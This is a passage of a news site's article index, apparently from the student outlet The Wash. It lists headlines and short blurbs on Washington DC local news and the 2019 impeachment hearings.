plant count limits  ](https://thewash.org/2019/12/03/dc-council-passes-resolution-eliminating-cannabis-plant-count-limits/) - Controversy remains over unused cultivator licenses - [Satire: Are creepy clowns roaming the streets of Columbia Heights?](https://thewash.org/2019/12/03/satire-are-creepy-clowns-roaming-the-streets-of-columbia-heights/) - An online rumor suggests that clowns could be in Columbia Heights at night. The Wash debunks whether the 2016 clown pandemic has returned to our own backyard. - [Pedestrian safety improvements to be made on H Street in Foggy Bottom](https://thewash.org/2019/12/03/pedestrian-safety-improvements-to-be-made-on-h-street-in-foggy-bottom/) - After concerns were raised about the safety of crosswalks on H Street NW, ANC commissioners announced they will vote on a proposal to make changes to the street conditions. - [DC’s plan for new park, playground at Eastern Market metro station](https://thewash.org/2019/12/03/dcs-plan-for-new-park-playground-at-eastern-market-metro-station/) - A new playground. More trees. A splash pool for the summer. These are all things the District government plans to add to the plaza outside the Eastern Market metro station to make an attractive, safe place to spend time. But some of the other changes, like changing the streets around at a major intersection, have been a challenging sell. - [New equity plan tackles health barriers](https://thewash.org/2019/12/03/new-equity-plan-tackles-health-barriers/) - Each health center meets the varying needs of each community by providing different services. - [Police search for suspects in Northeast shooting](https://thewash.org/2019/12/03/police-search-for-suspects-in-northeast-shooting/) - Two people shot, one hospitalized - [Community org targets shadeless Mass Ave for trees](https://thewash.org/2019/12/03/community-org-targets-shadeless-mass-ave-for-trees/) - One local community organization is partnering with residents to plant trees on Mass Ave. Thousands of people pass through the 1900 block of Massachusetts Avenue in Dupont Circle every day, but a row of trees that shaded them isn’t there anymore. Now, a local community organization is calling on the city for a little bit of shade. - [Double shooting near National Zoo. Suspect(s) still at large.](https://thewash.org/2019/12/02/double-shooting-near-national-zoo-suspects-still-at-large-police-say/) - Police say the victims were two juvenile males who suffered non-life threatening injuries. - [The Metro kicks off construction for new headquarters](https://thewash.org/2019/11/27/the-metro-kicks-off-construction-for-new-headquarters/) - Construction on WMATA headquarter’s new Southwest D.C. home is officially underway. The building company Gilbane is carrying out construction, which started mid-November and is currently focused on internal demolition, according to two Gilbane workers at the scene. After announcing the plan for acquisition over a year ago, WMATA representative Nina Albert introduced the incoming development - [History, hope and skepticism in Southeast DC](https://thewash.org/2019/11/20/history-hope-and-skepticism-in-southeast-dc/) - Whether they work or live there, a dozen people interviewed in Southeast DC had this to say about the hearings: Good to have hearings, won’t make a difference. - [Food truck catches on fire on New York Avenue, causing traffic jam](https://thewash.org/2019/11/25/food-truck-catches-on-fire-on-new-york-avenue-causing-traffic-jam/) - A Carolina Q barbecue truck sets on fire the day the owners first drive it. - [Can tech give students from low-income families better, targeted professional development?](https://thewash.org/2019/11/23/can-tech-give-students-from-low-income-families-better-targeted-professional-development/) - A new nonprofit organization in Shaw will help connect local students to professional role models through video chats, seeking to help low-income families who don’t have access to technology outside of the class. Dreamwakers is a technology organization geared toward helping less-fortunate families around the world by allowing professionals to conduct class lessons through Google - [Advocates: Impeachment hearings spotlight sentiment about immigrants of all types](https://thewash.org/2019/11/20/advocates-impeachment-hearings-spotlight-sentiment-about-immigrants-of-all-types/) - Immigration lawyers and advocates say the impeachment hearings raise uncomfortable issues about treatment of immigrants sitting at the witness table. - [Impeachment inquiry echoes across the Atlantic](https://thewash.org/2019/11/20/impeachment-inquiry-echoes-across-the-atlantic/) - European countries like Italy are influenced by American politics and culture, and the impeachment inquiry is no exception. - [Podcast #3, Nov. 20: Covering previous impeachments and the role of women](https://thewash.org/2019/11/21/podcast-3-nov-20-covering-previous-impeachments-and-the-role-of-women/) - “The Impeachment Inquiry of Donald J. Trump” is a special edition podcast of The Wash. Graduate journalism students in the School of Communication at American University talk with media professionals and the public about this historic time. Hosts Cami Gregorian and Courtney Jacobs report from Washington. https://soundcloud.com/jolmste/the-impeachment-inquiry-part-3 - [Sondland confirms Trump ‘quid pro quo’](https://thewash.org/2019/11/21/sondland-confirms-trump-quid-pro-quo/) - Bombshell testimony Wednesday draws Trump and his cabinet into the impeachment drama. - [‘This is history and I can’t just sit back.’](https://thewash.org/2019/11/20/this-is-history-and-i-cant-just-sit-back/) - Meet the impeachment onlookers who hope to see history in the making. Visitors lined up at the break of dawn to witness Congressional testimony. - [An hour of TV time with Sean Hannity and Rachel Maddow](https://thewash.org/2019/11/20/an-hour-with-sean-hannity-and-rachel-maddow/) - There are two sides to every impeachment story, but where is the truth? As the impeachment hearings continue, two rival cable news networks are taking radically different approaches to interpreting the events. You could tell by watching Tuesday night, Nov. 19. Hannity: ‘There was no quid, no pro, no quo’ Tuesday at 9 p.m. Eastern - [Tuesday testimony: Vindman, for the record](https://thewash.org/2019/11/20/tuesday-testimony-vindman-for-the-record/) - As Congress enters the second full week of impeachment hearings, two officials who were privy to the Ukraine call are the first to testify. - [Who is Gordon Sondland? 5 things to know](https://thewash.org/2019/11/20/who-is-gordon-sondland-5-things-to-know/) - In advance of his public testimony Wednesday, The Wash wrote a brief primer on U.S. Ambassador to the EU Gordon Sondland and why his testimony today matters. - [Three miles away, no talk of impeachment](https://thewash.org/2019/11/20/three-miles-away-no-talk-of-impeachment/) - In Washington, D.C., Nikki Haley promotes her new book, but most attention is being focused on her comments about the Republican party during contentious times. - [Once the realm of the tinfoil hat club, conspiracy theories find their way to Congress](https://thewash.org/2019/11/20/once-the-realm-of-the-tinfoil-hat-club-conspiracy-theories-find-their-way-to-congress/) - CrowdStrike, among other theories, is getting a significant amount of attention during the impeachment hearings, which experts fear can have consequences beyond 2020. - [Brookland residents say police should focus on stopping tire thefts](https://thewash.org/2019/11/19/brookland-residents-say-police-should-focus-on-stopping-tire-thefts/) - Police "never follow up" according to those who complain. - [Program Giving Students Alternative to Calling Police Raises Concerns](https://thewash.org/2019/11/19/program-giving-students-alternative-to-calling-police-raises-concerns/) - Residents are conflicted with the service's growth and abilities. - [Ward 1’s new Public Safety Coalition brings resources to those who need them most](https://thewash.org/2019/11/19/ward-1s-new-public-safety-coalition-brings-resources-to-those-who-need-them-most/) - Violent crime is all too common in Columbia Heights. This group hopes to change that. - [Cracked rail at Columbia Heights station delays Green and Yellow line commuters](https://thewash.org/2019/11/20/cracked-rail-at-columbia-heights-station-delays-green-and-yellow-line-commuters/) - Despite regular maintenance under the SafeTrack plan, a cracked rail in Columbia Heights forced trains to single-track and put commuters behind on Monday. - [Podcast #1, Oct. 20: Academic and media experts on impeachment](https://thewash.org/2019/10/02/podcast-the-impeachment-inquiry-of-donald-j-trump/) - “The Impeachment Inquiry of Donald J. Trump" is a special edition podcast of The Wash. Graduate journalism students in the School of Communication at American University talk with experts from academia, the media and law about this historic time. Hosts Leona Dunn and Molly Feser report from Washington. - [Podcast #2, Nov. 13: The public speaks and press coverage](https://thewash.org/2019/11/15/podcast-2-the-public-speaks-and-press-coverage/) - “The Impeachment Inquiry of Donald J. Trump” is a special edition podcast of The Wash. Graduate journalism students in the School of Communication at American University talk with media professionals and the public about this historic time. Hosts Alyssa Royster and Molly Feser report from Washington. https://soundcloud.com/taylor-ardrey-660538106/impeachment-hearing-1 - [Another food stand falls victim to Union Market’s turnover rate](https://thewash.org/2019/11/19/another-food-stand-falls-victim-to-union-markets-turnover-rate/) - Numerous food vendors in Union Market come and go, leaving locals and residents to wonder why these places aren’t permanent. That’s because the gourmet food hall wasn’t designed to host the same restaurants for a long period of time within the gourmet food hall. - [Street sweeping shuts down while complaints mount](https://thewash.org/2019/11/19/street-sweeping-shuts-down-while-complaints-mount/) - The road debris could possibly be left for another five months. - ['Kids need to see authors like us,' D.C. teens write, launch their own books](https://thewash.org/2019/11/19/kids-need-to-see-authors-like-us-d-c-teens-write-launch-their-own-books/) - The books' topics range from toxic masculinity to grief. The authors said they hope their books inspire younger children. - [District reverses course on athletic field decision](https://thewash.org/2019/11/19/district-reverses-course-on-athletic-field-decision/) - Banneker student-athletes find victory in overturning District athletic field decision. - [The city expands pet waste ‘doggy bag’ stations.](https://thewash.org/2019/11/19/the-city-expands-pet-waste-doggy-bag-stations/) - The focus shifts from enforcement to encouragement. - [Organization offers seniors a community to fight social isolation and foster neighborhood relationships](https://thewash.org/2019/11/12/organization-offers-seniors-a-community-to-fight-social-isolation-and-foster-neighborhood-relationships/) - The Foggy Bottom West End Village is one of 12 similar organizations in Washington D.C. - [DDot gives local government parking power](https://thewash.org/2019/11/18/ddot-gives-local-government-parking-power/) - Transportation officials say enhanced residential parking decisions are better made by ANCs. - [The past, present and future of the District's fallout shelters](https://thewash.org/2019/11/17/the-past-present-and-future-of-the-districts-fallout-shelters/) - Just below the surface, the District is hiding hundreds of fallout shelters. But in a pinch, could you still use one? - ["Home is here" DACA protestors rally outside the Supreme Court](https://thewash.org/2019/11/16/home-is-here-daca-protestors-rally-outside-the-supreme-court/) - Protestors took to the steps of the Supreme Court to share their stories as Justices deliberated the fate of DACA. - [Fire on Church Street NW Leaves Nine Displaced, One Firefighter Injured](https://thewash.org/2019/11/16/fire-on-church-street-nw-leaves-nine-displaced-one-firefighter-injured/) - Propane tank explosions boom through the neighborhood. - [Arlington has committed to the environment. Can Amazon meet the county’s goals?](https://thewash.org/2019/11/12/arlington-has-committed-to-the-environment-can-amazon-meet-the-countys-goals/) - Arlington County depicts itself as a sustainable haven. Activists refuse to let that commitment waver as Amazon makes its way into the region. - [Why has the United Arab Emirates donated $180 million to a local D.C. hospital?](https://thewash.org/2019/11/12/why-has-the-united-arab-emirates-donated-180-million-to-a-local-d-c-hospital/) - Soft money donations build goodwill, according to experts. - [ReCharge: The Guide to Impeachment Podcasts](https://thewash.org/2019/11/14/recharge-the-guide-to-impeachment-podcasts/) - The impeachment hearings have officially gone public, but if you weren’t able to watch on TV today, your next best bet for coverage and analysis might lie in podcast coverage. At least nine podcasts currently release daily or weekly episodes specifically related to the impeachment hearings. The topics typically range from general news coverage to - [DC residents push for solar panels on historic buildings](https://thewash.org/2019/11/12/dc-residents-push-for-solar-panels-on-historic-buildings/) - Homeowners in historic districts are a step closer to permission for solar panels on their roofs, after the Office of Planning released new proposed sustainability guidelines on Tuesday. - [Historic West End school will reopen for the 20-21 school year](https://thewash.org/2019/11/12/historic-west-end-school-will-reopen-for-the-20-21-school-year/) - After being closed for 10 years, Thaddeus Stevens Elementary is returning to the District's public school system. - [Museum spends millions in renovations to emphasize community stories](https://thewash.org/2019/11/12/museum-spends-millions-in-renovations-to-emphasize-community-stories/) - The museum is hopeful the renovations will help carry its mission to serve the community in telling stories of everyday people who have shaped the city’s history. - [DC schools see an increase in student safety concerns after multiple shootings](https://thewash.org/2019/11/12/dc-schools-see-an-increase-in-student-safety-concerns-after-multiple-shootings/) - Solutions are being developed for the increase in student safety complaints in Ward 1. - [The nuts and bolts of DC’s estimated $7 billion Union Station expansion](https://thewash.org/2019/11/11/the-nuts-and-bolts-of-dcs-estimated-7-billion-union-station-expansion/) - Everything you need to know about the redevelopment of Union Station — and how residents and commuters are reacting. - [Off-duty officer shot, injured man and teen on Anacostia Road](https://thewash.org/2019/11/09/off-duty-officer-shot-injured-man-and-teen-on-anacostia-road/) - The two were taken to an area hospital and treated for non-life-threatening injuries. Both are in stable condition, a police spokeswoman said. - [Boil Water Advisory Shuts Down Business in Tenleytown](https://thewash.org/2019/11/09/boil-water-advisory-shuts-down-business-in-tenleytown/) - Some Tenleytown businesses are closed this weekend after a water main burst in Arlington led to a boil water advisory for areas along Wisconsin Avenue. - [Students leave class to stand up for Dreamers](https://thewash.org/2019/11/09/students-leave-class-to-stand-up-for-dreamers/) - In preparation for the Supreme Court Hearing on Tuesday for DACA, students march to the Court's steps to demand justice for immigrants. - [Slow city response to dangerous playground conditions](https://thewash.org/2019/11/06/slow-city-response-to-dangerous-playground-conditions/) - UPDATE: DC responds to AU Wash investigation into backlogged work orders. - [Recent violence in Shaw has left residents fearful](https://thewash.org/2019/11/06/recent-violence-in-shaw-has-left-residents-fearful/) - Police reports show violence is growing in Shaw, leaving the neighborhood with a feeling of unease. Crime statistics showed that violence in the community has risen in comparison to the previous year. - [A proposed soda tax is designed to help the city's poorest. They're speaking against it.](https://thewash.org/2019/10/22/a-proposed-soda-tax-is-designed-to-help-the-citys-poorest-theyre-speaking-against-it/) - The D.C. Council is considering imposing an excise tax on soda and sugary drinks that could raise the price of a two-liter Coke by $1. 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